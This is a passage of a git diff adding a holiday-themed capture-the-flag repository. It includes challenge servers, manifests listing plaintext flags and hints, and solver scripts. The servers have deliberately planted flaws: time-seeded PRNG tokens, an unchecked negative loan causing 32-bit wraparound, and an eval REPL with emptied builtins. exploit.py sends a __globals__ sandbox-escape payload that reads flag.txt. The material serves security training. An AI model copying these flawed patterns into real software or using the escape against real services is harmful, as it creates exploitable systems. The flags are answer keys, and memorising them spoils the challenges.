tokens[:OBSERVED_TOKENS] + return render_template("challenge.html", + observed=obs, + window_start=start, + window_end=end, + note=f"{OBSERVED_TOKENS} tokens shown — predict the next token (the {OBSERVED_TOKENS+1}th).") + +@app.route("/api/observed") +def api_observed(): + """Machine-readable API returning observed tokens and window.""" + start = secret_seed - WINDOW + end = secret_seed + WINDOW + return jsonify({ + "observed": tokens[:OBSERVED_TOKENS], + "window_start": start, + "window_end": end, + "note": f"{OBSERVED_TOKENS} tokens shown — predict the next token (the {OBSERVED_TOKENS+1}th)." + }) + +@app.route("/flag") +def flag(): + """Return flag if token matches the predicted next token.""" + t = request.args.get("token", "") + if not t: + abort(400, "Missing token parameter.") + if t == target_token: + if os.path.exists(FLAG_FILE): + with open(FLAG_FILE, "r") as f: + return f.read().strip() + "\n" + else: + return "FLAG_MISSING\n" + else: + abort(403, "Invalid token") + +# Simple health endpoint +@app.route("/health") +def health(): + return "ok\n" diff --git a/Crypto/Medium/Santa's Weak Seed/entrypoint.sh b/Crypto/Medium/Santa's Weak Seed/entrypoint.sh new file mode 100644 index 0000000..2e7fbe6 --- /dev/null +++ b/Crypto/Medium/Santa's Weak Seed/entrypoint.sh @@ -0,0 +1,11 @@ +#!/bin/bash +set -e + +# If FLAG is set, write it to /app/flag.txt +if [ -n "$FLAG" ]; then + echo "$FLAG" > /app/flag.txt + chmod 644 /app/flag.txt +fi + +exec gunicorn -b 0.0.0.0:${PORT} -w 2 -k gthread --threads 4 --timeout 30 app:app + diff --git a/Crypto/Medium/Santa's Weak Seed/manifest.yml b/Crypto/Medium/Santa's Weak Seed/manifest.yml new file mode 100644 index 0000000..3393a1c --- /dev/null +++ b/Crypto/Medium/Santa's Weak Seed/manifest.yml @@ -0,0 +1,16 @@ +slug: crypto_santas_weak_seed +title: "Santa's Weak Seed" +description: "North Pole Presents Vault token service was supposed to generate short one-time tokens for maintenance tasks. But elfs seeded the PRNG with the system time (seconds) and published a log of a few recent tokens with a rough time window. The attacker intercepted three tokens created in sequence. If you can recover the epoch seed used, you can predict the next token — and that token unlocks presents. Show that predictable seeds and weak PRNG choices can be fatal." +category: "crypto" +points: 700 +is_visible: true +complexity: 7 +zip: "local" +flag_plaintext: "CTF{prng_s33d_1s_n0t_s0_s3cr3t}" +hints: + - text: "The page gives you a couple of tokens and a numeric epoch window. Try reproducing tokens for different seeds." + penalty_points: 10 + - text: "Check seeds in the inclusive window and compare tokens in sequence." + penalty_points: 20 + - text: "If found, compute token(s+K) for the next token and request /flag?token=" + penalty_points: 30 \ No newline at end of file diff --git a/Crypto/Medium/Santa's Weak Seed/scripts/solve.py b/Crypto/Medium/Santa's Weak Seed/scripts/solve.py new file mode 100644 index 0000000..cad2df0 --- /dev/null +++ b/Crypto/Medium/Santa's Weak Seed/scripts/solve.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python3 +""" +Brute-forcer for Guess the Seed. + +Usage: + python3 solve.py http://127.0.0.1:9000 + +What it does: + - Fetches /api/observed to retrieve observed tokens and the time window + - Brute-forces candidate seeds in the inclusive window to find the seed that + reproduces the observed tokens in order + - Predicts the next token (the required one) and prints it + - Optionally attempts to fetch /flag?token= and prints the response +""" +import sys +import requests +import hashlib +import random +import time + +def token_from_seed(s): + rnd = random.Random(int(s)) + val = rnd.getrandbits(64) + h = hashlib.sha256(str(val).encode()).hexdigest()[:16] + return h + +if len(sys.argv) < 2: + print("Usage: python3 solve.py http://host:port") + sys.exit(1) + +base = sys.argv[1].rstrip("/") +api = base + "/api/observed" +print("[*] Fetching observed tokens from", api) +r = requests.get(api, timeout=5) +r.raise_for_status() +j = r.json() +observed = j["observed"] +ws = int(j["window_start"]) +we = int(j["window_end"]) +print("[*] Observed tokens:", observed) +print("[*] Window:", ws, we) + +found = False +match_seed = None +# Brute force seed candidates in window +for seed in range(ws, we+1): + ok = True + for idx, obs in enumerate(observed): + cand = token_from_seed(seed + idx) + if cand != obs: + ok = False + break + if ok: + match_seed = seed + print("[+] Found matching seed:", seed) + found = True + break + +if not found: + print("[-] No seed found in window.") + sys.exit(1) + +pred = token_from_seed(match_seed + len(observed)) +print("[*] Predicted next token:", pred) +# Attempt to fetch flag +flag_url = f"{base}/flag?token={pred}" +print("[*] Requesting flag from:", flag_url) +r2 = requests.get(flag_url, timeout=5) +print("[*] Response:", r2.status_code) +print(r2.text) diff --git a/Crypto/Medium/Santa's Weak Seed/templates/challenge.html b/Crypto/Medium/Santa's Weak Seed/templates/challenge.html new file mode 100644 index 0000000..e9f674e --- /dev/null +++ b/Crypto/Medium/Santa's Weak Seed/templates/challenge.html @@ -0,0 +1,121 @@ + + + + + Presents Vault Seed Leak — Challenge + + + +
+
North Pole Presents Vault
+

Presents Vault Seed Leak

+ +

+ The token service used for maintenance tasks was seeded with the system time (seconds). + Three one-time tokens were intercepted in sequence. A rough time window is known. +

+ +

Observed tokens

+

{{ note }}

+
+ {% for t in observed %} +
{{ t }}

+ {% endfor %} +
+ +

Time window (epoch seconds)

+
+ {{ window_start }}  –  + {{ window_end }} +
+ +

+ Find the exact seed (an epoch second in this window) that reproduces the tokens in order, + then compute the next token and request /flag?token=THE_TOKEN. +

+ +
+ +

Machine-readable data

+

+ /api/observed +

+
+ + diff --git a/Misc/.DS_Store b/Misc/.DS_Store new file mode 100644 index 0000000..2a60056 Binary files /dev/null and b/Misc/.DS_Store differ diff --git a/Misc/Easy/.DS_Store b/Misc/Easy/.DS_Store new file mode 100644 index 0000000..8b4c728 Binary files /dev/null and b/Misc/Easy/.DS_Store differ diff --git a/Misc/Easy/Magic Route/.DS_Store b/Misc/Easy/Magic Route/.DS_Store new file mode 100644 index 0000000..808c898 Binary files /dev/null and b/Misc/Easy/Magic Route/.DS_Store differ diff --git a/Misc/Easy/Magic Route/data/picture.png b/Misc/Easy/Magic Route/data/picture.png new file mode 100644 index 0000000..5f4a778 Binary files /dev/null and b/Misc/Easy/Magic Route/data/picture.png differ diff --git a/Misc/Easy/Magic Route/manifest.yml b/Misc/Easy/Magic Route/manifest.yml new file mode 100644 index 0000000..c29b0f7 --- /dev/null +++ b/Misc/Easy/Magic Route/manifest.yml @@ -0,0 +1,16 @@ +slug: magic_route +title: "Magic Route" +description: > + Santa tried to send you a festive picture, but something went wrong on the way — the “magic route” flipped a few bits in transit. + + You are given a corrupted PNG file that most viewers refuse to open. Your task is to repair the file so you can see the hidden image. +category: "misc" +points: 500 +is_visible: true +complexity: 5 +attachments: + - "public/picture.png" +flag_plaintext: "CTF{m4g1c_byt3s_c0rrupt10n}" +hints: + - text: "Maybe the “magic number” at the start of the file isn't so magical anymore?" + penalty_points: 20 \ No newline at end of file diff --git a/Misc/Easy/Magic Route/public/picture.png b/Misc/Easy/Magic Route/public/picture.png new file mode 100644 index 0000000..fabf728 Binary files /dev/null and b/Misc/Easy/Magic Route/public/picture.png differ diff --git a/Misc/Easy/Magic Route/scripts/main.py b/Misc/Easy/Magic Route/scripts/main.py new file mode 100644 index 0000000..a428456 --- /dev/null +++ b/Misc/Easy/Magic Route/scripts/main.py @@ -0,0 +1,99 @@ +#!/usr/bin/env python3 +import argparse +from pathlib import Path + +# Correct PNG magic number/signature +PNG_MAGIC = b"\x89PNG\r\n\x1a\n" + +# A fun “corrupted” header for the Xmas CTF challenge (8 bytes) +CORRUPTED_MAGIC = b"XMASCTF!" # exactly 8 bytes + + +def generate_challenge(input_png: Path, output_png: Path) -> None: + """ + Read a valid PNG, replace the first 8 bytes (magic number) with a corrupted + value, and write out the challenge PNG. + """ + data = input_png.read_bytes() + + if not data.startswith(PNG_MAGIC): + print( + "[!] Warning: Input file does not start with a valid PNG signature. " + "Are you sure it's a PNG?" + ) + + if len(data) < 8: + raise ValueError("Input file is too small to be a valid PNG.") + + corrupted = CORRUPTED_MAGIC + data[8:] + output_png.write_bytes(corrupted) + + print(f"[+] Challenge written to: {output_png}") + print(f"[+] First 8 bytes changed from PNG magic to: {CORRUPTED_MAGIC!r}") + + +def solve_challenge(corrupted_png: Path, fixed_png: Path) -> None: + """ + Read a corrupted PNG (with broken magic number), restore the correct + PNG magic number, and write out the fixed PNG. + """ + data = corrupted_png.read_bytes() + + if len(data) < 8: + raise ValueError("Corrupted file is too small to be a PNG.") + + original_header = data[:8] + fixed = PNG_MAGIC + data[8:] + fixed_png.write_bytes(fixed) + + print(f"[+] Fixed PNG written to: {fixed_png}") + print(f"[+] Replaced header {original_header!r} with {PNG_MAGIC!r}") + + +def main(): + parser = argparse.ArgumentParser( + description="Xmas CTF: Magic Route - PNG magic number corrupter/solver." + ) + + subparsers = parser.add_subparsers(dest="command", required=True) + + # generate subcommand + gen = subparsers.add_parser( + "generate", help="Generate a corrupted PNG challenge from a valid PNG." + ) + gen.add_argument("input", type=Path, help="Path to a valid input PNG.") + gen.add_argument( + "output", + type=Path, + nargs="?", + help="Path to write corrupted challenge PNG (default: challenge.png)", + ) + + # solve subcommand + solve = subparsers.add_parser( + "solve", + help="Fix a corrupted PNG (restore correct magic number).", + ) + solve.add_argument("input", type=Path, help="Path to the corrupted PNG.") + solve.add_argument( + "output", + type=Path, + nargs="?", + help="Path to write fixed PNG (default: fixed.png)", + ) + + args = parser.parse_args() + + if args.command == "generate": + input_png = args.input + output_png = args.output or Path("challenge.png") + generate_challenge(input_png, output_png) + + elif args.command == "solve": + corrupted_png = args.input + fixed_png = args.output or Path("fixed.png") + solve_challenge(corrupted_png, fixed_png) + + +if __name__ == "__main__": + main() diff --git a/Misc/Medium/.DS_Store b/Misc/Medium/.DS_Store new file mode 100644 index 0000000..e8e6b4c Binary files /dev/null and b/Misc/Medium/.DS_Store differ diff --git a/Misc/Medium/Grinch's Lottery.zip b/Misc/Medium/Grinch's Lottery.zip new file mode 100644 index 0000000..2306f4d Binary files /dev/null and b/Misc/Medium/Grinch's Lottery.zip differ diff --git a/Misc/Medium/Grinch's Lottery/Dockerfile b/Misc/Medium/Grinch's Lottery/Dockerfile new file mode 100644 index 0000000..a51eeda --- /dev/null +++ b/Misc/Medium/Grinch's Lottery/Dockerfile @@ -0,0 +1,14 @@ +FROM python:3.12-alpine + +RUN adduser -D ctf + +WORKDIR /app +COPY main.py . +EXPOSE 9000 + +COPY entrypoint.sh /entrypoint.sh +RUN chmod +x /entrypoint.sh + +USER ctf + +ENTRYPOINT ["/entrypoint.sh"] diff --git a/Misc/Medium/Grinch's Lottery/entrypoint.sh b/Misc/Medium/Grinch's Lottery/entrypoint.sh new file mode 100644 index 0000000..5e45894 --- /dev/null +++ b/Misc/Medium/Grinch's Lottery/entrypoint.sh @@ -0,0 +1,11 @@ +#!/usr/bin/env sh +set -e + +case "${1:-}" in + local) + exec python3 main.py + ;; + *) + exec python3 main.py server 0.0.0.0 9000 + ;; +esac \ No newline at end of file diff --git a/Misc/Medium/Grinch's Lottery/main.py b/Misc/Medium/Grinch's Lottery/main.py new file mode 100644 index 0000000..c32ad4d --- /dev/null +++ b/Misc/Medium/Grinch's Lottery/main.py @@ -0,0 +1,215 @@ +#!/usr/bin/env python3 +import os +import sys +import socketserver +import random +import io + +FLAG_PRICE = 1_000_000 +INITIAL_COINS = 50 # tiny starting balance +MAX_TURNS = 10 +MAX_LEGAL_LOAN = 1000 # max positive amount per loan + + +def load_flag(): + # Flag is supplied via environment variable + return os.getenv("FLAG", "XMAS{dummy_flag_for_testing}") + + +def to_int(s: str) -> int: + return int(s.strip()) + + +def add_coins(balance: int, delta: int) -> int: + """ + Update the balance using 32-bit unsigned wraparound. + + This is the core bug: using a 32-bit "safe" ledger but letting the + user control delta directly (including large negatives). + """ + return (balance + delta) & 0xFFFFFFFF + + +def play_game(reader, writer): + """ + Core game logic. Works with any text reader/writer pair. + - CLI mode: stdin/stdout + - TCP mode: wrapped socket rfile/wfile + """ + flag = load_flag() + coins = INITIAL_COINS + price = FLAG_PRICE + turns = 0 + + def send(line: str = ""): + writer.write(line + "\n") + writer.flush() + + send("=== Grinch's Lottery ===") + send("Welcome to Whoville's shadiest Christmas lottery!") + send("You start with a few coal-coins. Win enough to buy the special prize.") + send(f"The shiny present costs {price} coins.") + send("") + while turns < MAX_TURNS: + turns += 1 + send(f"\n[Turn {turns}/{MAX_TURNS}] Your balance: {coins} coins") + send("Choose an action:") + send(" 1) Work a little (earn some coins)") + send(" 2) Buy lottery tickets (10 coins each)") + send(" 3) Take a shady loan from the Grinch") + send(" 4) Buy the shiny present") + send(" 5) Exit") + send("> ") + choice = reader.readline() + if not choice: + break + choice = choice.strip() + + if choice == "1": + # Small honest income, no way to reach the flag fairly + earn = random.randint(1, 20) + coins = add_coins(coins, earn) + send(f"You did some odd jobs for the Whos and earned {earn} coins.") + + elif choice == "2": + # Lottery tickets that cost coins and rarely pay out + send("How many tickets do you want to buy? (10 coins each)") + send("> ") + line = reader.readline() + if not line: + break + try: + n = to_int(line) + except ValueError: + send("That's not even a number. The Grinch laughs you out of town.") + break + + # Make lottery 'honest' so it's not the exploit: + if n <= 0: + send("You must buy at least 1 ticket, no refunds.") + continue + + cost = 10 * n + + # If you can't afford it, don't touch the balance at all + if cost > coins: + send("You don't have enough coins for that many tickets.") + send("The Grinch refuses to give you credit for lottery tickets.") + continue + + # Now this subtraction is safe (no wrap) because cost <= coins + coins = add_coins(coins, -cost) + send(f"You bought {n} tickets for {cost} coins.") + + wins = 0 + # Cap iteration count so people can't hang the server + for _ in range(min(n, 1000)): + if random.random() < 0.05: + prize = random.randint(5, 50) + coins = add_coins(coins, prize) + wins += 1 + if wins: + send(f"You won on {wins} ticket(s)! Your luck slightly improves.") + else: + send("No luck this time. The Grinch grins.") + + elif choice == "3": + # Shady loan service with a "safety limit"... that only checks positive amounts. + send("How much do you want from the Grinch's loan shark service?") + send("> ") + line = reader.readline() + if not line: + break + try: + delta = to_int(line) + except ValueError: + send("You mumble nonsense. The Grinch gets bored and leaves.") + break + + # Safety check that *only* constrains positive loans. + if delta > MAX_LEGAL_LOAN: + send("Too risky! The Grinch's auditor caps loans at " + f"{MAX_LEGAL_LOAN} coins per request.") + send("Smaller loans only, please.") + continue + + # Negative values are not checked at all. This is the intended bug: + # a large negative 'repayment' will underflow and wrap to a huge balance. + before = coins + coins = add_coins(coins, delta) + send(f"Ledger update: {before} -> {coins} (delta: {delta})") + + elif choice == "4": + # Check if the player can afford the flag + if coins >= price: + send("You jingle enough coins to buy the shiny present!") + send(f"Inside you find a note: {flag}") + send("Merry XMAS and beware of greedy Grinches.") + return + else: + price += FLAG_PRICE # price goes up if you try to buy without enough coins + send(f"Not enough coins. The Grinch cackles and raises the price to {price} coins.") + + elif choice == "5": + send("You leave the lottery, slightly colder but maybe wiser.") + return + + else: + send("The Grinch doesn't recognize that option and kicks you out.") + return + + send("The Grinch closes the stand for the night. Come back with a better plan.") + + +# === TCP server glue (thread-per-connection, like gunicorn workers) === + +class GrinchHandler(socketserver.StreamRequestHandler): + def handle(self): + # Simple timeout so connections don't hang forever + self.request.settimeout(60) + + # Wrap the raw socket file descriptors into text-mode file objects + reader = io.TextIOWrapper(self.rfile, encoding="utf-8", newline="\n") + writer = io.TextIOWrapper( + self.wfile, + encoding="utf-8", + newline="\n", + write_through=True, + ) + + try: + play_game(reader, writer) + except Exception: + # Hide internals from players + try: + writer.write("An error occurred. The Grinch eats the stack trace.\n") + writer.flush() + except Exception: + pass + + +class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer): + # Basic "load balancing": one thread per client connection + allow_reuse_address = True + daemon_threads = True + + +def run_server(host: str = "0.0.0.0", port: int = 9000): + with ThreadedTCPServer((host, port), GrinchHandler) as server: + server.serve_forever() + + +if __name__ == "__main__": + # Usage: + # ./grinch_lottery.py -> CLI mode on stdin/stdout + # ./grinch_lottery.py server -> TCP server 0.0.0.0:9000 + # ./grinch_lottery.py server HOST PORT + if len(sys.argv) >= 2 and sys.argv[1] == "server": + host = sys.argv[2] if len(sys.argv) >= 3 else "0.0.0.0" + port = int(sys.argv[3]) if len(sys.argv) >= 4 else 9000 + run_server(host, port) + else: + # CLI mode: interact via stdin/stdout (no network) + reader = sys.stdin + writer = sys.stdout + play_game(reader, writer) diff --git a/Misc/Medium/Grinch's Lottery/manifest.yml b/Misc/Medium/Grinch's Lottery/manifest.yml new file mode 100644 index 0000000..66c98a4 --- /dev/null +++ b/Misc/Medium/Grinch's Lottery/manifest.yml @@ -0,0 +1,15 @@ +slug: grinchs_lottery +title: "Grinch's Lottery" +description: "The Grinch has opened a crooked Christmas lottery stand, tempting villagers with the promise of a “shiny present” that no one could ever afford through honest means. But his ancient 32-bit coin ledger is riddled with flaws, and only someone clever enough to twist his shady loan system can outsmart him and steal the holiday prize." +category: "misc" +points: 500 +is_visible: true +complexity: 5 +zip: "local" +hints: + - text: "Try inputting different numbers that program does not expect." + penalty_points: -10 +flag_plaintext: "CTF{n3v3r_tru5t_4_gr1nch_l0tt3ry}" +service_webshell: true +service_shell_cmd: "/bin/sh" +service_shell_args: "/entrypoint.sh local" \ No newline at end of file diff --git a/Misc/Medium/Matryoshka.zip b/Misc/Medium/Matryoshka.zip new file mode 100644 index 0000000..5be85ec Binary files /dev/null and b/Misc/Medium/Matryoshka.zip differ diff --git a/Misc/Medium/Matryoshka/.DS_Store b/Misc/Medium/Matryoshka/.DS_Store new file mode 100644 index 0000000..dbd3d7e Binary files /dev/null and b/Misc/Medium/Matryoshka/.DS_Store differ diff --git a/Misc/Medium/Matryoshka/build/flag.txt b/Misc/Medium/Matryoshka/build/flag.txt new file mode 100644 index 0000000..5cc7607 --- /dev/null +++ b/Misc/Medium/Matryoshka/build/flag.txt @@ -0,0 +1 @@ +CTF{h3ll0_d3xt3r_m0rg4n_m4try0shk4!} diff --git a/Misc/Medium/Matryoshka/build/layer1.zip b/Misc/Medium/Matryoshka/build/layer1.zip new file mode 100644 index 0000000..3f66c85 Binary files /dev/null and b/Misc/Medium/Matryoshka/build/layer1.zip differ diff --git a/Misc/Medium/Matryoshka/build/layer1_embedded.png b/Misc/Medium/Matryoshka/build/layer1_embedded.png new file mode 100644 index 0000000..4a1150f Binary files /dev/null and b/Misc/Medium/Matryoshka/build/layer1_embedded.png differ diff --git a/Misc/Medium/Matryoshka/build/layer2.zip b/Misc/Medium/Matryoshka/build/layer2.zip new file mode 100644 index 0000000..136fd78 Binary files /dev/null and b/Misc/Medium/Matryoshka/build/layer2.zip differ diff --git a/Misc/Medium/Matryoshka/build/layer2_embedded.png b/Misc/Medium/Matryoshka/build/layer2_embedded.png new file mode 100644 index 0000000..a20ae59 Binary files /dev/null and b/Misc/Medium/Matryoshka/build/layer2_embedded.png differ diff --git a/Misc/Medium/Matryoshka/build/layer3.zip b/Misc/Medium/Matryoshka/build/layer3.zip new file mode 100644 index 0000000..cce7595 Binary files /dev/null and b/Misc/Medium/Matryoshka/build/layer3.zip differ diff --git a/Misc/Medium/Matryoshka/build/layer3_embedded.png b/Misc/Medium/Matryoshka/build/layer3_embedded.png new file mode 100644 index 0000000..e6a7ad3 Binary files /dev/null and b/Misc/Medium/Matryoshka/build/layer3_embedded.png differ diff --git a/Misc/Medium/Matryoshka/build/layer4.zip b/Misc/Medium/Matryoshka/build/layer4.zip new file mode 100644 index 0000000..ce86d5f Binary files /dev/null and b/Misc/Medium/Matryoshka/build/layer4.zip differ diff --git a/Misc/Medium/Matryoshka/build/layer4_embedded.png b/Misc/Medium/Matryoshka/build/layer4_embedded.png new file mode 100644 index 0000000..bfa5964 Binary files /dev/null and b/Misc/Medium/Matryoshka/build/layer4_embedded.png differ diff --git a/Misc/Medium/Matryoshka/build/layer5.zip b/Misc/Medium/Matryoshka/build/layer5.zip new file mode 100644 index 0000000..7619196 Binary files /dev/null and b/Misc/Medium/Matryoshka/build/layer5.zip differ diff --git a/Misc/Medium/Matryoshka/build/layer5_embedded.png b/Misc/Medium/Matryoshka/build/layer5_embedded.png new file mode 100644 index 0000000..d40c3d0 Binary files /dev/null and b/Misc/Medium/Matryoshka/build/layer5_embedded.png differ diff --git a/Misc/Medium/Matryoshka/data/png1.png b/Misc/Medium/Matryoshka/data/png1.png new file mode 100644 index 0000000..3f2555a Binary files /dev/null and b/Misc/Medium/Matryoshka/data/png1.png differ diff --git a/Misc/Medium/Matryoshka/data/png2.png b/Misc/Medium/Matryoshka/data/png2.png new file mode 100644 index 0000000..444159c Binary files /dev/null and b/Misc/Medium/Matryoshka/data/png2.png differ diff --git a/Misc/Medium/Matryoshka/data/png3.png b/Misc/Medium/Matryoshka/data/png3.png new file mode 100644 index 0000000..10d763f Binary files /dev/null and b/Misc/Medium/Matryoshka/data/png3.png differ diff --git a/Misc/Medium/Matryoshka/data/png4.png b/Misc/Medium/Matryoshka/data/png4.png new file mode 100644 index 0000000..ab015da Binary files /dev/null and b/Misc/Medium/Matryoshka/data/png4.png differ diff --git a/Misc/Medium/Matryoshka/data/png5.png b/Misc/Medium/Matryoshka/data/png5.png new file mode 100644 index 0000000..e0f0a3a Binary files /dev/null and b/Misc/Medium/Matryoshka/data/png5.png differ diff --git a/Misc/Medium/Matryoshka/manifest.yml b/Misc/Medium/Matryoshka/manifest.yml new file mode 100644 index 0000000..bf07420 --- /dev/null +++ b/Misc/Medium/Matryoshka/manifest.yml @@ -0,0 +1,15 @@ +slug: matryoshka +title: "Matryoshka" +description: "Deep in Santa's workshop, a mysterious gift appeared: a painted Matryoshka doll sealed tight, each layer hiding another secret beneath colorful winter scenes. Only by peeling back all five enchanted shells can you uncover the final present tucked inside - Santa's lost Christmas flag." +category: "misc" +points: 600 +is_visible: true +complexity: 6 +attachments: + - "public/matryoshka.png" +hints: + - text: "Image size is suspiciously huge, maybe there is something hidden inside?" + penalty_points: -20 + - text: "Try using binwalk and extracting hidden data." + penalty_points: -40 +flag_plaintext: "CTF{h3ll0_d3xt3r_m0rg4n_m4try0shk4!}" \ No newline at end of file diff --git a/Misc/Medium/Matryoshka/public/matryoshka.png b/Misc/Medium/Matryoshka/public/matryoshka.png new file mode 100644 index 0000000..4a1150f Binary files /dev/null and b/Misc/Medium/Matryoshka/public/matryoshka.png differ diff --git a/Misc/Medium/Matryoshka/scripts/generate.py b/Misc/Medium/Matryoshka/scripts/generate.py new file mode 100644 index 0000000..e664f23 --- /dev/null +++ b/Misc/Medium/Matryoshka/scripts/generate.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python3 +import os +import sys +import zipfile + +LAYER_COUNT = 5 +OUTER_NAME = "matryoshka.png" +FLAG_TEXT = "CTF{h3ll0_d3xt3r_m0rg4n_m4try0shk4!}" + + +def append_file_to_png(png_path: str, extra_path: str, out_path: str): + with open(png_path, "rb") as f_png, open(extra_path, "rb") as f_extra, open(out_path, "wb") as f_out: + f_out.write(f_png.read()) + f_out.write(f_extra.read()) + + +def main(): + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} ") + sys.exit(1) + + input_dir = sys.argv[1] + + if not os.path.isdir(input_dir): + print(f"[-] Not a directory: {input_dir}") + sys.exit(1) + + # Collect PNGs and sort them for deterministic order + pngs = [f for f in os.listdir(input_dir) if f.lower().endswith(".png")] + pngs.sort() + + if len(pngs) < LAYER_COUNT: + print(f"[-] Need at least {LAYER_COUNT} PNG files in {input_dir}, found {len(pngs)}") + sys.exit(1) + + # Use exactly the first LAYER_COUNT PNGs + pngs = pngs[:LAYER_COUNT] + + print("[+] Using these PNGs as layers (outermost -> innermost):") + for i, name in enumerate(pngs, start=1): + print(f" Layer {i}: {name}") + + os.makedirs("build", exist_ok=True) + + # 1) Create innermost: flag.txt -> zipN -> imageN_with_zip + flag_path = os.path.join("build", "flag.txt") + with open(flag_path, "w") as f: + f.write(FLAG_TEXT + "\n") + + # Innermost index + innermost_idx = LAYER_COUNT - 1 + innermost_png_original = os.path.join(input_dir, pngs[innermost_idx]) + + zip_path = os.path.join("build", f"layer{LAYER_COUNT}.zip") + with zipfile.ZipFile(zip_path, "w", compression=zipfile.ZIP_DEFLATED) as z: + z.write(flag_path, arcname="flag.txt") + + embedded_png_path = os.path.join("build", f"layer{LAYER_COUNT}_embedded.png") + append_file_to_png(innermost_png_original, zip_path, embedded_png_path) + + inner_file = embedded_png_path # this will be zipped into the next outer layer + + # 2) Build outer layers (N-1 down to 1) + for layer in range(LAYER_COUNT - 1, 0, -1): + png_name = pngs[layer - 1] + png_original = os.path.join(input_dir, png_name) + + # zip containing the previous (inner) embedded image + zip_path = os.path.join("build", f"layer{layer}.zip") + with zipfile.ZipFile(zip_path, "w", compression=zipfile.ZIP_DEFLATED) as z: + # Store it under a generic name inside the zip + z.write(inner_file, arcname=f"inner_layer.png") + + # append that zip to this layer's original PNG + embedded_png_path = os.path.join("build", f"layer{layer}_embedded.png") + append_file_to_png(png_original, zip_path, embedded_png_path) + + inner_file = embedded_png_path + + # 3) Copy the outermost embedded PNG as final challenge file + with open(inner_file, "rb") as f_in, open(OUTER_NAME, "wb") as f_out: + f_out.write(f_in.read()) + + print(f"[+] Created final challenge file: {OUTER_NAME}") + print("[+] Intermediate files are in the build/ directory.") + + +if __name__ == "__main__": + main() diff --git a/Misc/Medium/North Pole REPL/Dockerfile b/Misc/Medium/North Pole REPL/Dockerfile new file mode 100644 index 0000000..4843aec --- /dev/null +++ b/Misc/Medium/North Pole REPL/Dockerfile @@ -0,0 +1,10 @@ +FROM python:3.11-slim +WORKDIR /app +COPY . /app + +EXPOSE 9000 + +COPY entrypoint.sh /entrypoint.sh +RUN chmod +x /entrypoint.sh + +ENTRYPOINT ["/entrypoint.sh"] diff --git a/Misc/Medium/North Pole REPL/entrypoint.sh b/Misc/Medium/North Pole REPL/entrypoint.sh new file mode 100644 index 0000000..360fc95 --- /dev/null +++ b/Misc/Medium/North Pole REPL/entrypoint.sh @@ -0,0 +1,17 @@ +#!/usr/bin/env bash +set -e + +# If FLAG is set, write it to /app/flag.txt +if [ -n "$FLAG" ]; then + echo "$FLAG" > /app/flag.txt + chmod 644 /app/flag.txt +fi + +case "${1:-}" in + local) + exec python3 server.py --mode stdin + ;; + *) + exec python3 server.py + ;; +esac \ No newline at end of file diff --git a/Misc/Medium/North Pole REPL/exploit.py b/Misc/Medium/North Pole REPL/exploit.py new file mode 100644 index 0000000..1ef0609 --- /dev/null +++ b/Misc/Medium/North Pole REPL/exploit.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python3 +""" +exploit.py - demonstrates the sandbox escape for the CTF challenge. + +Connects to the REPL, evaluates an expression that uses helper.__globals__ +to access the real '__builtins__' mapping and open 'flag.txt'. +""" +import socket +import sys + +if len(sys.argv) < 3: + print("Usage: python3 exploit.py ") + sys.exit(1) + +HOST = sys.argv[1] +PORT = int(sys.argv[2]) + +def recv_until(s, marker=b">> "): + data = b"" + while True: + part = s.recv(4096) + if not part: + break + data += part + if data.endswith(marker): + break + return data + +# Connect +s = socket.create_connection((HOST, PORT)) +banner = recv_until(s) +print(banner.decode()) + +# Craft expression that reads flag using helper.__globals__ to get builtins +payload = "helper.__globals__['__builtins__']['open']('flag.txt').read()" + +print("[*] Sending payload:", payload) +s.send((payload + "\n").encode()) + +resp = recv_until(s) +print("Response:") +print(resp.decode()) + +# Quit politely +s.send(b"QUIT\n") +s.close() diff --git a/Misc/Medium/North Pole REPL/manifest.yml b/Misc/Medium/North Pole REPL/manifest.yml new file mode 100644 index 0000000..5fd2f9b --- /dev/null +++ b/Misc/Medium/North Pole REPL/manifest.yml @@ -0,0 +1,15 @@ +slug: north_pole_repl +title: "North Pole REPL" +description: "A “safe” Python REPL is exposed over TCP by North Pole software developers. You can type Python expressions and get results. The service claims to be sandboxed (restricted builtins), but a helper object is available in the REPL and can be abused to escape the sandbox and read flag.txt." +category: "misc" +points: 700 +is_visible: true +complexity: 7 +zip: "local" +hints: + - text: "The REPL claims to be sandboxed. Try small Python expressions and introspection functions to learn what's available." + penalty_points: 10 +flag_plaintext: "CTF{s4f3_r3pl_1s_n0t_s0_s4f3}" +service_webshell: true +service_shell_cmd: "/bin/bash" +service_shell_args: "/entrypoint.sh local" \ No newline at end of file diff --git a/Misc/Medium/North Pole REPL/server.py b/Misc/Medium/North Pole REPL/server.py new file mode 100644 index 0000000..7ef3f19 --- /dev/null +++ b/Misc/Medium/North Pole REPL/server.py @@ -0,0 +1,175 @@ +#!/usr/bin/env python3 +""" +Sandbox Slip - CTF challenge (medium, misc) + +Supports two modes: + - TCP (default): listens on HOST:PORT and serves a netcat-style REPL for each connection. + - STDIN: reads lines from stdin and writes results to stdout (local interactive mode). + +Usage: + python3 server.py # TCP mode (default) + python3 server.py --mode stdin # stdin/stdout REPL + python3 server.py --host 0.0.0.0 --port 9000 +""" + +import socketserver +import threading +import sys +import traceback +import os +import argparse + +HOST = "0.0.0.0" +PORT = 9000 +FLAG_FILE = "flag.txt" +WELCOME = """Welcome to PySafe REPL v0.3 +This REPL runs your Python expressions in a restricted environment. +Type a single expression per line. Type QUIT to exit. +Available helper object: helper +>> """ + +# Vulnerable helper intentionally included to demonstrate sandbox escape. +def helper(): + """A small helper function that does nothing useful for players.""" + return "helpful" + +# Ensure flag exists +if not os.path.exists(FLAG_FILE): + with open(FLAG_FILE, "w") as f: + f.write("CTF{sandbox_slip_helper_globals}\n") + +# Prepare the sandbox environment (shared by TCP and STDIN modes) +# Note: __builtins__ is set to empty dict to simulate a naive sandbox. +safe_globals = {"__builtins__": {}} +safe_locals = {"helper": helper} + +def evaluate_source(src: str, g: dict, l: dict): + """ + Evaluate a single-line source in the restricted environment. + Tries eval() first, then exec() for statements. + Returns a tuple (success:bool, output:str). + """ + src = src.rstrip("\n") + if src.strip().upper() == "QUIT": + return True, "QUIT" + if src.strip() == "": + return True, "" # empty line -> no output + try: + # Try eval for expressions + result = eval(src, g, l) + return True, repr(result) + except SyntaxError: + # Try exec for statements + try: + exec(src, g, l) + return True, "OK" + except 